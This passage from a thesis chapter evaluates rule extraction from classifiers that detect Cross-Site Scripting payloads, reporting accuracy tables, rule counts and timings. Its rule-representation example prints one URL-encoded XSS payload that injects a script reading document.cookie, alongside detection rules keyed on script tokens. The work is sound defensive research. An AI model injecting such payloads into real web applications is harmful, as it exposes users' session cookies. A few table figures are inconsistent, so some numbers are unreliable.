using the testing dataset to evaluate the extracted rules. The same features, 34 which
were ranked as the best features in terms of effectiveness in making classification
decisions were applied. In order to obtain the best performance from the k-NN
classifier, the parameter which determines the number of neighbours examined
when processing each instance of the dataset presenting 34 features was optimised.
Automatic optimisation was used to determine the best parameter value, this yielded
a figure of 4 neighbours; thus this parameter was set to 4. In addition, 32/64/128
instances were used as sample sizes with respect to the fixed number of features. The
experiment aimed at extracting rules from the k-NN classifier was performed using
the highest ranking features in order to extract an approximation of the Boolean
function. The experiment was conducted using 1, 2, 4, 8, 10, 12, and 16 fixed
features. Table 7.12 shows the performance of the k-NN classifier when using the
full 65 feature set. Comparing this latter to Table 7.2, which shows the performance
of the neural network classifier, it can be observed that the k-NN classifier performs
slightly better than the neural network classifier.
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.90 99.94 99.84 99.95 Malicious 9994 6
Benign 16 14080
Table 7.12 k-NN Classifier Performance Using 65 Features
Table 7.13 demonstrates the performance of k-NN when using 34 features. The
results show that the accuracy of this classifier is not as good as that of the k-NN
classifier applying 65 features. It is worth mentioning, however, that the precision
of the 34-feature classifier was better – it returned no false positives. Similarly,
the neural network classifier which applied 34 features yielded worse accuracy but
slightly better precision than the neural network with 65 features.
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Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.68 100 99.25 100 Malicious 1000 0
Benign 75 14021
Table 7.13 k-NN Classifier Performance Using 34 Features
Table 7.14 shows the performance of the k-NN classifier using 16 features, this
attained a high accuracy of up to 99.83% and a precision rate of up to 99.99%.
Compared with the neural network classifier using 16 features , this k-NN classifier
was slightly better in terms of accuracy and precision.
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.83 99.99 99.61 99.99 Malicious 9999 1
Benign 39 14057
Table 7.14 k-NN Classifier Performance Using 16 Features
Table 7.15 shows the classification of the truth table generated from the k-NN
Classifier taking into account 16 features. It shows the cases that have been classified
as benign or malicious which were covered initially by the Boolean function after
minimisation.
Class Malicious Benign Minimised
Rules 47,244 18,292 1,598
Table 7.15 k-NN Classifier Rules Using 16 Features
From Table7.15 it can be observed that the Boolean function generated from the
use of k-NN provides slightly better accuracy than the Boolean function generated
from the neural network classifier.
7.9.1 k-NN Rules
After applying the sampling method to the truth table (in order to find the class
determined by each row within the table), each row could be seen as one of the rules
which described one class. The sampling method was performed using 1, 2, 4, 8,
and 16 features as fixed features. Table 7.16 shows the results of the distribution
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(application) of the testing dataset to the extracted rules. The sampling method
started using a sample size of 32. Where this led to an equal number of malicious
to benign instances, the sample size was increased to 64, if there were still as many
malicious instances as benign the sample size was increased again - to 128.
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
1 Feature 58.49 0 0 58.49 Malicious 0 10000
Benign 0 14096
Malicious Benign
2 Features 98.95 97.60 99.87 98.32 Malicious 9760 240
Benign 12 14084
Malicious Benign
4 Features 98.74 97.08 99.88 97.96 Malicious 9708 292
Benign 11 14085
Malicious Benign
8 Features 99.48 98.25 92.78 99.44 Malicious 9925 75
Benign 772 13324
Malicious Benign
10 Features 96.50 96.91 94.78 97.77 Malicious 9691 309
Benign 533 13563
Malicious Benign
12 Features 99.72 99.79 99.54 99.85 Malicious 9979 21
Benign 46 14050
Malicious Benign
16 Features 97.06 99.95 93.43 99.96 Malicious 9995 5
Benign 702 13394
Table 7.16 Extracted Results From k-NN Using 32/64/128 Samples
The results shown in Table 7.16 can be used to compare between the extraction
of rules from the neural network (using 16 features and 32/64/128 samples) and
from the k-NN classifiers (in the same set-ups). The rules extracted from the neural
network classifier proved to be the best, achieving 99.87% accuracy whereas those
extracted from the k-NN classifier achieved only a maximum of 97.06% accuracy.
However, the neural network classifier attained a precision rate of up to 99.86%,
whereas k-NN achieved a 99.95% precision rate. There were 14 false positives
resulting from the use of the neural network classifier whereas the use of k-NN
resulted in the misclassification of only five malicious instances; thus, the latter was
better in terms of precision rate.
Table 7.17 shows the number of rules for each class; in addition, the last column
shows the number of rules after minimization. Comparing the Boolean functions
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Features Malicious Benign Minimised
1 Feature 1 1 1
2 Features 3 1 1
4 Features 7 9 5
8 Features 151 105 32
10 Features 593 431 105
12 Features 3,334 762 94
16 Features 44,120 21,416 2,843
Table 7.17 Numbers of k-NN Rules Using 32/64/128 Samples
extracted from the two classifiers, it can be seen that the functions that were extracted
from the rules of the neural network classifier were larger than those extracted from
the k-NN classifier. Note that, regardless of the rules used, any case which does not
accord to any rule is classified as malicious.
7.9.2 k-NN Timing Performance
Processing-time plays an important role in rule extraction. In the case of the ex-
traction of rules from the k-NN classifier, the sampling algorithm was modified
to try to minimize the time taken to extract the rules. Table 7.18 shows the time
taken to extract rules from the classifier for each fixed set of features. From the
processing-time performance thus demonstrated, it can be seen that the time taken
to extract the rules from the k-NN classifier was longer than that required to extract
the rules from the neural network classifier; this was as expected. Moreover, the last
column in the table shows the time taken to distribute the testing dataset across the
extracted rules.
Features Labelling Interval Testing Interval
1 Feature 1 sec 1 sec
2 Features 1 sec 1 sec
4 Features 6 sec 1 sec
8 Features 101 sec 11 sec
10 Features 419 sec 46 sec
12 Features 2,016 sec 206 sec
16 Features 23,971 sec 3,055 sec
Table 7.18 Timing of Rule Extraction from k-NN Classifier Using 32/64/128 Samples
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7.10 SVM Rules Using 32/64/128 Samples
After verifying the effectiveness of the proposed method for extracting rules from
black box classifiers, this method was then applied to a Support Vector Machine
using a linear kernel classifier - which is considered to be a black box classifier. The
reason for choosing a SVM classifier is the fact that such can achieve very good
results in terms of accuracy and precision - as described in Chapter 4; it achieved
an accuracy rate of 99.82% and a precision rate of 99.89% when 65 features were
applied.
On the same principle as the experiments described above, the SVM classifier
was trained using the same training dataset and the highest ranked features in terms
of them being used for extracting rules. The testing dataset was then employed to
evaluate the extracted rules. Furthermore, 32/46/128 sample sizes were applied with
respect to the fixed feature set in order to extract an approximate Boolean function.
This latter experiment was conducted using 1, 2, 4, 8, 10, 12, and 16 fixed features.
Table 7.19 shows the SVM performance when 34 features were applied, demon-
strating high accuracy 99.88% and a precision of up to 99.90%. Compared with the
neural network classifier, the SVM classifier was slightly better in terms of accuracy,
but the neural network classifier was slightly better in terms of precision. Compared
to the k-NN classifier, it can be seen that the SVM classifier was slightly better in
terms of accuracy, but k-NN was better in terms of precision (since it achieved 100%
on this measure).
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.90 99.90 99.88 99.92 Malicious 9990 10
Benign 12 14087
Table 7.19 SVM Classifier Performance Using 34 Features
Table 7.20 shows the performance attained by SVM using 16 features; the classi-
fier achieved a 99.90% accuracy and a precision rate of up to 99.87%. Compared
with the neural network classifier, the SVM classifier was slightly better in terms
of accuracy but on the other hand the neural network was better than SVM in term
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of precision. When compared to the k-NN classifier using 16 features, it can be
observed that the same results applied; SVM was better in terms of accuracy, but
k-NN was better in terms of precision.
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
99.90 99.87 99.89 99.90 Malicious 9987 13
Benign 11 14085
Table 7.20 SVM Classifier Performance Using 16 Features
Table 7.21 shows the classification of the truth table using the SVM classifier
with 16 features. It shows cases that have been classified as benign or malicious in
addition to the Boolean function after the minimising.
Class Malicious Benign Minimised
Rules 33,589 31,947 8,043
Table 7.21 SVM Classifier Rules Using 16 Features
7.10.1 SVM Rules
The sampling method was applied to the truth table, using a SVM classifier that had
been trained with 34 features; the purpose of this was to obtain a class determination
for each row of the truth table. Further, the sampling method was applied using the
following numbers of fixed features: 1, 2, 4, 8, 10, 12, and 16. Table 7.22 presents the
results of distributing the testing dataset over the truth table or, in other words, over
the extracted rules. From the results of this, it can be observed that the rules extracted
using the SVM classifier achieved a 99.90% accuracy and 99.98% precision; these
results are, relatively, very good. Also, it can be observed that the numbers of false
positive decrease with increasing numbers of fixed features. Comparing the rules
extracted from the SVM and from the NN, it can be seen that the results yielded
by the SVM are slightly better in terms of accuracy and precision. Moreover, the
number of false positives returned by the rules extracted from the SVM classifier is
slightly lower than the number returned by the rules extracted from the NN. When
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comparing the results of the rules extracted from the SVM with the results yielded
by the rules extracted from k-NN, it can be observed that the accuracy produced
by the SVM rules is slightly better than that produced by the k-NN, but the rules
extracted from k-NN yield a higher precision than those from the SVM, and this can
be seen in the numbers of false positives returned by each kind of classifier.
Accuracy Precision Sensitivity Specificity Confusion Matrix
Malicious Benign
1 Feature 91.96 80.70 99.92 87.95 Malicious 8070 1930
Benign 6 14090
Malicious Benign
2 Features 91.96 80.70 99.92 87.95 Malicious 8070 1930
Benign 6 14090
Malicious Benign
4 Features 98.74 97.03 99.93 97.93 Malicious 9703 297
Benign 6 14091
Malicious Benign
8 Features 98.24 95.80 99.97 97.10 Malicious 9580 420
Benign 2 14094
Malicious Benign
10 Features 99.18 98.07 99.96 98.64 Malicious 9807 193
Benign 3 14093
Malicious Benign
12 Features 99.09 97.85 99.97 98.49 Malicious 9785 215
Benign 2 14094
Malicious Benign
16 Features 99.90 99.88 99.89 99.91 Malicious 9988 12
Benign 11 14085
Table 7.22 Extracted Results From SVM Using 32/64/128 Samples
Table 7.23 shows the number of rules for each class - when the sampling method
was used to determine each class. The last column of the table shows the number of
Boolean functions that were extracted once the rules had been minimizes, noting that
the Boolean function returns the malicious class in cases that do not accord to the
function. From a comparison of the Boolean function extracted from the SVM and
that extracted from the NN, it can be observed that the size of the Boolean function
yielded by the SVM is larger than the size of that returned by the NN, and this
resulted in the greater accuracy of the SVM generated function. On the other hand,
comparing the Boolean function yielded by the SVM and by the k-NN, it can be
observed that the Boolean function returned by the SVM is larger than the Boolean
function returned by the k-NN, and this larger function achieved greater accuracy.
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Features Malicious Benign Minimised
1 Feature 1 1 1
2 Features 2 2 1
4 Features 8 8 4
8 Features 79 177 35
10 Features 327 697 129
12 Features 1,193 2,903 448
16 Features 35,780 29,756 5,884
Table 7.23 Numbers of SVM Rules Using 32/64/128 Samples
7.10.2 SVM Timing Performance
Since processing time is an important factor in relation to extracting rules from black
box classifiers, the performance, in these terms, with respect to extracting rules has
been monitored in relation to the SVM classifier. Table 7.24 shows the processing
time performance as regards extracting rules using each predetermined fixed set of
features with a SVM classifier. It can be observed that extracting rules and creating a
Boolean function using a SVM classifier incurs the least processing time in relation
to all the investigated classifiers. and it can be noted that extracting the approximate
Boolean function using 16 features took only 3,720 seconds, and in this respect at
least there is a significant difference between extracting rules using a SVM classifier
and extracting roughly equivalent rules using the NN and k-NN classifiers.
Features Labelling Interval Testing Interval
1 Feature 1 sec 1 sec
2 Features 1 sec 1 sec
4 Features 1 sec 1 sec
8 Features 9 sec 11 sec
10 Features 36 sec 45 sec
12 Features 135 sec 180 sec
16 Features 3,720 sec 2,956 sec
Table 7.24 Timing of Rule Extraction from SVM Classifier Using 32/64/128 Samples
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7.11 Rules Representation
In this section, an explanation of the initial form of the rules extracted from the
truth table will be presented then a clarification of the representation of the rule
after miniaturisation and how to logically represent minimised rules to be used
programmatically.
After completing the sampling process, a truth table is produced and all rows are
labelled either malicious or benign. Hence, each row is a rule that classifies instances
into one of the two classes. An example of truth table rules (the truth table with 16
features will be used) is shown in Table 7.25.
F1 F2 F3 F4 F5 F6 F7 F8 F9 F10 F11 F12 F13 F14 F15 F16 Class
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1
0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 1 0
0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 1
Table 7.25 Initial Rules from Truth Table
Where:
(0) indicates that the feature is not present. (1) indicates the feature is present.
Class (0) indicates malicious. Class (1) indicates benign.
The second step is to minimise the rules within the truth table in order to obtain
rules that represent only one class, either malicious or benign. In this study, the
rules that were labelled benign will be used, any payload that does not meet these
rules is considered malicious. An example of rules that are minimised are the rules
in the truth table in Table 7.25 They will be minimised to the format as shown in
Table 7.26.
F1 F2 F3 F4 F5 F6 F7 F8 F9 F10 F11 F12 F13 F14 F15 F16 Class
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 X 1
0 0 0 0 0 0 0 0 0 0 0 0 0 X 0 1 1
Table 7.26 Minimized Rules from Truth Table
Minimised rules can also be expressed by an equation as follows.
Class = F1’ F2’ F3’ F4’ F5’ F6’ F7’ F8’ F9’ F10’ F11’ F12’ F13’ F14’ F15’ + F1’
F2’ F3’ F4’ F5’ F6’ F7’ F8’ F9’ F10’ F11’ F12’ F13’ F15’ F16’;
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The final step is to substitute the value for the feature names with the features in
order in Table 7.1. Then, use the minimised rule on if-then-else forms. For example,
if (Alert == 0 & < == 0 && { == 0 && ? == 0 && ! == 0 && .JS == 0
&& HTTP == 0 && - == 0 && ' == 0 && ; == 0 && & == 0 && , == 0
&& Src == 0 && space == 0 && &# == 0) Then Class Benign
OR
if (Alert == 0 & < == 0 && { == 0 && ? == 0 && ! == 0 && .JS == 0
&& HTTP == 0 && - == 0 && ' == 0 && ; == 0 && & == 0 && , == 0
&& Src == 0 && &# == 0 && Eval == 0) Then Class Benign
Else
Class is Malicious
Example: In this example, the payload will be identified whether it is malicious
or benign, Whereas, a malicious payload obtained from the training dataset will be
used.
Payloads: id=26%22%3e%3cscript%3ealert%28document.cookie%29%3c/script%3e
First step: extract the features from within the payload, where 34 features will be ex-
tracted according to Table 7.1. The extracted features values are shown in Table 7.27.
Feature Value Feature Value Feature Value Feature Value
F1 1 F10 0 F19 0 F28 0
F2 1 F11 1 F20 0 F29 1
F3 0 F12 0 F21 0 F30 0
F4 1 F13 1 F22 0 F31 1
F5 0 F14 0 F23 1 F32 0
F6 0 F15 0 F24 0 F33 1
F7 1 F16 0 F25 0 F34 0
F8 1 F17 1 F26 1
F9 1 F18 0 F27 0
Table 7.27 Extracted Features Values
Second step: A comparison will be made between the values of the extracted
features (top 16 features) with the truth table, in order to find out the payload class
based on the truth table. Table 7.28 shows the compared row in the truth table. The
comparison result was, as expected, malicious.
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F1 F2 F3 F4 F5 F6 F7 F8 F9 F10 F11 F12 F13 F14 F15 F16 Class
1 1 0 1 0 0 1 1 1 0 1 0 1 0 0 0 0
Table 7.28 Comparison Row in the Truth Table
The previous example illustrated the benefit from the rules extracted using the
proposed approach, as it illustrated how the approach is to classify payloads and
achieve results.
7.12 Rules Distribution
Knowing the number of samples which accord to each row (rule) of the truth table
in terms of being defined by the associated class makes it possible to know which
rules most strongly influence the classification decision-making. For this reason, an
experiment was conducted to extract the number of samples used for each row to
determine whether that row identified (when true) malicious or benign instances. For
this purpose, a sample size of 32 was used; then the sampling method was applied
to the truth table and the results were calculated relative to each class. Then these
results were distributed into a table that includes all the possibilities that can occur
with a sample size of 32.
In order to find out whether the extracted rules had the same effects in relation to
the testing dataset as they did on the above sample, instances of the testing dataset
were distributed over the truth table. After that the cases that verified the previously
determined meaning of each rule were taken account of in the truth table and then
added to the probability table.
These steps were applied to all the classifiers that have been examined in this
chapter: NN, k-NN, and SVM. Based on the results posted to the probability table, a
plot was created showing these results correlated with the samples used for the truth
table and the instances from the testing dataset.
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7.12.1 NN Probabilities Distribution
The probabilities that occur when using 32 samples are given in Table 7.29. This
table shows the probability table results derived from distributing the samples over
the truth table cases generated from the neural network classifier using 16 features.
Cases 1 to 16 represent the rules which were assigned to the benign class, cases 17
to 33 represent the rules which were assigned to the malicious class, and the last
column shows the number of probabilities in the testing dataset.
Malicious Benign Iterations Testing Malicious Benign Iterations Testing
1 0 32 2089 2317 18 17 15 1386 4
2 1 31 2005 819 19 18 14 1341 8
3 2 30 1768 391 20 19 13 1454 1
4 3 29 1718 83 21 20 12 1448 10
5 4 28 1702 538 22 21 11 1427 0
6 5 27 1574 10 23 22 10 1515 4
7 6 26 1474 3779 24 23 9 1592 22
8 7 25 1468 0 25 24 8 1635 14
9 8 24 1477 684 26 25 7 1694 18
10 9 23 1496 5428 27 26 6 1806 8
11 10 22 1395 6 28 27 5 2038 39
12 11 21 1462 4 29 28 4 2264 56
13 12 20 1419 2 30 29 3 2606 487
14 13 19 1326 7 31 30 2 3232 585
15 14 18 1363 13 32 31 1 4402 2530
16 15 17 1348 3 33 32 0 9278 6217
17 16 16 1334 9
Table 7.29 Number of Occurrences of Samples and Testing in a NN
Figure 7.1 shows the curve for the distribution of the truth table (blue line) in
relation over the various probabilities; the right edge of the curve shows an increase
in the number of instances from the samples that were malicious. Furthermore, from
the distribution yielded by the testing dataset (orange line), it can be observed that
the instances of the testing dataset were directed to the most influential rules in the
rule set, as it (the distribution) keeps away from the gray area in the middle of the
curve.
7.12.2 k-NN Probabilities Distribution
Table 7.30 shows the results derived from the distribution of the truth table derived
in turn from the k-NN classifier using 16 features - on the probability table. Cases 1
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Fig. 7.1 Number of Occurrences of the Samples in a NN
to 16 represent the rules that have been assigned to the benign class, and cases 17 to
33 represent the rules that have been assigned to the malicious class; the last column
shows the number of probabilities yielded by the testing dataset. From this table,
it can be seen that the possibilities of distributing the truth table representing the
rules extracted from the k-NN classifier are close to each other. This convergence
causes confusion in relation to the Boolean function. From the distributing of the
testing dataset over the probability table, it can be noted that most instances of the
testing dataset have moved to probabilities 1 and 33, and this explains why the rules
extracted using k-NN achieved the best precision rate.
Figure 7.2 shows the representation of probabilities generated by the distribution
(application) of samples. From the figure, it can be observed that the curve increases
from case 1 to case 16, this corresponds to the number of rules for benign extracted
from the k-NN classifier. From case 17, again an increase in the curve can be
observed - which indicates an increase in the rules for malicious extracted from the
classifier. It is worth noting that the number of rules in Table 7.17 results from the
rules extracted employing a k-NN classifier using 32/64/128 samples, whereas the
figure represents a classifier using a sample size of 32 only, as related to the case
where there were equal numbers of instances classified as malicious and benign.
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Malicious Benign Iterations Testing Malicious Benign Iterations Testing
1 0 32 612 12331 18 17 15 2564 5
2 1 31 616 63 19 18 14 2815 4
3 2 30 685 16 20 19 13 2922 7
4 3 29 774 9 21 20 12 2989 7
5 4 28 803 3 22 21 11 2912 3
6 5 27 886 10 23 22 10 3012 12
7 6 26 967 39 24 23 9 3053 12
8 7 25 1094 85 25 24 8 3083 7
9 8 24 1191 374 26 25 7 2777 7
10 9 23 1318 5 27 26 6 2831 93
11 10 22 1471 126 28 27 5 2700 50
12 11 21 1694 5 29 28 4 2462 73
13 12 20 1790 15 30 29 3 2155 105
14 13 19 1959 660 31 30 2 1916 168
15 14 18 2171 9 32 31 1 1754 281
16 15 17 2325 7 33 32 0 2674 9187
17 16 16 2561 318
Table 7.30 Number of Occurrences of the Samples in a k-NN
From the testing curve, it can be observed that instances of the testing dataset exist
at the ends of the curve.
Fig. 7.2 Number of Occurrences of the Samples in a k-NN
7.12.3 SVM Probabilities Distribution
Table 7.31 shows the results of the rule distribution probability using 32 samples,
and the testing dataset distribution.
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Malicious Benign Iterations Testing Malicious Benign Iterations Testing
1 0 32 14135 9169 18 17 15 694 1
2 1 31 2791 4558 19 18 14 687 26
3 2 30 1880 296 20 19 13 735 5
4 3 29 1473 8 21 20 12 740 1
5 4 28 1215 41 22 21 11 752 10
6 5 27 1091 1 23 22 10 700 1
7 6 26 1027 5 24 23 9 698 20
8 7 25 954 10 25 24 8 734 18
9 8 24 917 0 26 25 7 701 3
10 9 23 788 6 27 26 6 875 76
11 10 22 717 3 28 27 5 998 77
12 11 21 575 0 29 28 4 1198 7
13 12 20 467 0 30 29 3 1473 103
14 13 19 505 0 31 30 2 1926 40
15 14 18 495 1 32 31 1 3040 38
16 15 17 525 5 33 32 0 19353 9556
17 16 16 677 11
Table 7.31 Number of Occurrences of the Samples in a SVM
From the table, it can be observed that the distribution of the truth table over
the table of probabilities starts with a large number assigned to case 1, and then the
numbers assigned begin to decrease until the gray area is reached - approximately at
case 16. Then the number of rules that achieve the probabilities given from case 17
onwards in the probability table begin to increase again. Moreover, from the table
it can be seen that the distribution of the testing dataset was mostly to the first and
last cases - which achieved the highest numbers of testing dataset instances. This
indicates that the rules extracted using SVM have a high accuracy rate.
Figure 7.3 shows the probability table distribution curve for both the truth table
and the testing dataset. From the figure, it can be seen that the probability distribution
of the truth table of the rules extracted using SVM and the testing dataset are very
close to each other since the influencing cases are present on the sides of the curve.
This indicates that the rules extracted using SVM are identical in their work to the




Fig. 7.3 Number of Occurrences of the Samples in a SVM
7.13 Discussion
The key findings of this work are presented in Table 7.6. This table gives the
evaluation of the Boolean function using 16 features as a rule-based classifier; the
rules were extracted from a neural network which used 34 features, see Table 7.3.
In fact, the performance of the rule-based classifier was slightly better than that of
the neural network (using the same number of features). The rule-based classifier
achieved a 99.90% accuracy and a 99.94% precision; this indicates that the rules
had been successfully extracted, and In addition the rule-based Boolean function,
which is shown in Table 7.6, performed slightly better than the neural network
model which had been trained using the same 16 features - its results are presented
in Table 7.4. A series of approximations were built and evaluated, as shown in
Table 7.4, using an increasing number of features. In addition, Table 7.7 shows the
number of rules before and after minimisation. It can be observed that the number of
rules after minimisation increases with the number of features used; this improves
the performance of the resulting Boolean functions. The improvements are not
necessarily monotonic, but the pattern is clear.
However, the cost of these improvements is in the time it takes to create the
Boolean functions, as shown in Table 7.8, where the computation time is shown
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to exponentially increase when building the function for increasing numbers of
features. Indeed, the best approximation (to the 34 feature Boolean function), using
16 features, took five days of calculation. When compared against the Boolean
function that was extracted from the neural network using 16 features, the number
of rules after minimisation is comparable, but it should be noted that it is faster to
extract the rules from the smaller network because that process does not require
sampling.
To mitigate the processing-time issue encountered when applying the sampling
method, the sampling algorithm was modified to use reduced sample sizes, but at
the same time the diversity of the samples used was maintained to be equivalent to
that available with the previous sampling method. The modified method yielded
approximate results in relation to the previous method; It should be noted, however,
that the Boolean function increased in size, see Table 7.7 with Table 7.10. Moreover,
from Table 7.11, it can be seen that processing-time performance increased very
significantly.
By applying the modified algorithm to another black box classifier, k-NN, it was
observed that the results derived from NN are slightly better in terms of accuracy,
compared to the rules extracted from k-NN, but that the precision rate yielded by
k-NN is slightly better than that yielded by the NN classifier. The results of the
distribution of the testing dataset over the rules extracted from the k-NN classifier
are given in Table 7.16. The reason the accuracy of the rules extracted from the NN
is higher is that that classifier uses a complex equation to map the inputs to the class,
whereas the k-NN classifier simply compares the inputs with the closest neighbour
to define the class. From Table 7.18, it can be observed that the performance in
terms of processing-time for extracting rules from the k-NN classifier was worse than
expected. Indeed, compared to the equivalent process relating to the NN classifier, it
took twice the time.
In the same way, the rules were extracted from the SVM classifier using the
modified algorithm, and the results of the testing of the extracted rules are given
in Table 7.22. It can be seen that the accuracy yielded by the rules extracted from
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the SVM is the best among the rules extracted from the three classifiers. Again the
SVM classifier, like the NN classifier, maps the inputs to the classes using a complex
formula that has proven its effectiveness in the course of the training process; this is
illustrated in the tables 7.3 and 7.19. It should be noted that the approximate Boolean
function extracted from the 16 feature SVM classifier is larger than that represented
by the rules extracted from the NN and k-NN classifiers, where table 7.23 shows
the number of rules that represent each class and also the Boolean function after
minimisation. In terms of processing-time performance, it was observed that the
rules extracted using SVM were the fastest among the three classifiers; Table 7.24
shows the processing-time performance of the SVM classifier. Extracting the rules
from the SVM classifier took less than half the time that it took to extract the rules
from the NN using the modified algorithm. The reason for this facility to rapidly
extract rules from the SVM classifier was the ability of the classifier to divide the
features space into two parts linearly - which helps to speed up the decision-making
required for the sampling method.
To verify the effectiveness of the rules extracted from the classifiers, a truth
table that contained the rules extracted from each classifier was distributed to the
probabilities table. The probabilities table shows the distribution of the instances
when the sample sizes were 32. The tables 7.29, 7.30, and 7.31 show the results of
the distribution of the truth table onto the probabilities table, and the last column
shows the distribution of the testing dataset on the same possibilities. The aim of
this particular investigation was to discover the rules affecting decision-making.
Figure 7.1 which represents the probability distribution yielded by the NN classi-
fier and Figure 7.3 which represents the same but as yielded by the SVM classifier; it
can be observed that most of the rules are clustered at the edges of the curve, meaning
in cases 1 and 33 in the probability table where the decisions made by the rules
are more clearly either malicious or benign - this increases the accuracy rate. The
effectiveness of these rules is apparent when distributing the testing dataset on the
same table of probabilities as most instances were clustered towards the rules at the
edge of the curve. Figure 7.2 shows the distribution of the rules that were extracted
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from the k-NN classifier over the probability table; it can be observed here that the
distribution over the truth table results in a great deal of confusion in the gray area
in the middle. Moreover, it can be observed that the curve shows that the edge that
contains the benign cases has started low and then increased gradually as the number
of rules describing malicious cases increases. This resulted in a higher precision
rate for the rules that were extracted from the k-NN classifier, but in contrast these
achieved a lower accuracy.
The motivation for this present research was to create a method whereby rule-
based systems could be extracted from black-box classifiers, so allowing the pre-
sentation of some level of explicable artificial intelligence. Such a system allows
the logic of any classifier to be described in such a way that the decisions it makes
are auditable. The approximations, which are an additional focus of this study, also
provide such auditable decisions, and successive approximations (using fewer and
fewer features) show relatively good performance.
It can be observed, however, that when using an approximation based on just eight
features, the sampling approach gives approximations which inhere some degree of
noise. This is primarily because of feature number 7, URL addresses; paradoxically
perhaps, this noise results in some additional misclassifications compared to the
use of a four feature classifier. It should also be noted that the rules extracted via
the use of just one feature provide useful results - with a 99.86% precision rate for
rule extractions from NN, 99.99% for rule extractions from k-NN, and 99.88% for
rule extractions from SVM. The reason for this is that the highest-ranking feature is
"Alert" which is frequently found in attack scripts within the dataset that was used,
whereas it is rarely found in benign scripts. This made it a very powerful feature.
The use of the "greater-than" sign is also a powerful feature because it constitutes
the beginning of script tag.
The above observations form a good illustration of XAI in action: the use of the
rule-based system has resulted in an explicit explanation of the operation of the rules.
However, it should also be recognised that the best approximation still consisted of
thousands of rules even after minimisation, and whilst it does result in the decision
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making being auditable, each individual decision must be interpreted in relation to a
very large number of other rules.
This approach, as described in the methodology, requires the duplicate use of the
training dataset: once for training the neural network, and again for the sampling
employed in the extraction of the approximated Boolean function from the classifiers.
However, given the size of the Boolean function described by the trained neural
network and the k-NN and SVM classifiers, some kind of guidance seems inevitable
in a black box approach to approximation. The black box approach has worked, and
has resulted in the successful extraction of rules of the form, (i f ...then...else) which
can be utilised to distinguish malicious from benign scripts. This extraction can be
achieved without delving any deeper into the inner structure of the neural network
classifier or other black box classifiers.
7.14 Summary
In this chapter, a brief overview of the concepts involved with XAI and, in particular,
the extraction of rules has been presented - along with a description of the most
common types of rule extraction, including the methods employed to represent the
rules. Furthermore, the minimising of Boolean expressions and the methods that
have been applied to this purpose have been covered. The proposed system, which
is considered to be the contribution of this thesis, is described in terms of how the
rules are extracted from a (black-box) neural network classifier - with a detailed
explanation of all the factors on which it depends. Emphasis was placed on the
sampling system whereby samples were derived from the training dataset and then
utilised to find the correct response (class) for each rule in the truth table.
Moreover, in this chapter, the ability to extract rules from a neural network and
the k-NN and SVM classifiers was demonstrated; in the case where the feature space
is Boolean, the result of such an extraction is a Boolean function that can be initially
described using a truth table - and then minimised so that it can be represented in its
most compact form. The rules extracted (using approximation based on 16 features)
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from a classifier trained with 34 features provided good results in the classification
of scripts as malicious or benign, achieving up to 99.90% accuracy (using SVM) and
precision rates of up to 99.99% (using k-NN).
The results in terms of the processing time performance relating to rule extraction
from the classifiers were reviewed; whereas the fact that the extraction of the Boolean
functions involved here can be costly is not in itself a problem, it does limit the
expansion and generalisation of the approach. For this reason, the sampling algorithm
was modified in such a way as to avoid poor processing time performance while
maintaining accurate results. The resulting of modified algorithm was tested on the
NN, k-NN, and SVM classifiers and gave good results in terms of approximating the
results yielded by the extraction method without modifications. Moreover, figures
have been presented here showing the possibilities offered by the use of a sample
size of 32, alongside a discussion of the power centres in the rules extracted using the
classifiers. The results obtained in relation to the performance of the extracted rules,
where these had been tested on the testing dataset, were discussed and compared




8.1 Summary of the Thesis
In conclusion, this research has developed a method, using machine learning, which
detects Cross-Site Scripting attacks by developing the use of two groups of features
(alphanumeric, non-alphanumeric) and their representation as Boolean. Experiments
conducted in the course of this research have demonstrated the effectiveness of using
machine learning to protect web applications from XSS attacks. There were a variety
of classification algorithms used in the experiments: Support Vector Machine with
both linear and polynomial kernels, k-Nearest Neighbour, Random Forest and Neural
Network. These classifiers were employed to characterise users’ inputs to a web
application as either malicious or benign. All the classifiers looked at achieved
accuracy and precision rates of greater than 99%. The results of this study can
be compared with previous approaches in terms of precision, as previous studies
in addition to this study achieved a precision rate more than 99%, but this study
outperformed the previous approaches. This study achieved 99.96% precision rate
using RF classifier, as using the same classifier in a previous study, it achieved
99.81%. These results were attained by training the classifiers using a dataset created
for this purpose; malicious and benign scripts were collected from a number of
reliable sources as described in Chapter 3.
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Moreover, the extracted features are the main reason for achieving the high
accuracy of the classifiers. As these features were selected based on the existence
of these features within the payload. Also, features representation as a Boolean
value contributed to the increased accuracy. Chapter 3 explained how to choose the
features for each type of attack, as well as how to represent them for the purpose of
training.
Furthermore, selecting effective features to identify XSS attacks has an important
role to play in the detection of such attacks. The features were divided into groups:
the most common features found in most types of attacks and the features that
particular to a specific type of attack. In order to verify the effectiveness of the
features, two other (than XSS) types of attack against web applications were included,
SQL-i and LDAP although the greatest emphasis remained on XSS attacks. The
results of the experiment conducted with respect to SQL-i and LDAP attacks yielded
rates of accuracy and precision higher than 99%. The results obtained from the
classifiers are detailed in Chapter 4, for each type of attack separately.
Moreover, to verify that the features can be used together, multi-class classifiers
were created which were capable of classifying all three types of attack. Chapter 5
described in detail the creation of multi-class classifiers capable of categorising user
input for a web application into the following classes: XSS, SQL-i, LDAP, and
benign. These classifiers achieved better than 99% accuracy and precision rates.
Ensemble techniques and cascading classifiers were used to filter the inputs and
increase accuracy, as explained in detail in Chapter 6. The classification results using
this method were slightly better than those returned from the use of single classifiers.
This method is considered one of the first to use stacking technique to detect XSS
attacks. This method is one of the contributions to this thesis.
For the purposes of understanding the decisions made by these ’black-box’
classifiers, rules were extracted from the Neural Network, k-Nearest Neighbour, and
Support Vector Machine classifiers which explained their decision making. Chapter 7
describes in detail a proposed method for extracting rules from classifiers. The results
achieved very good accuracies, and a Boolean function was derived from each set of
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extracted rules which could perform the same work as the corresponding classifier.
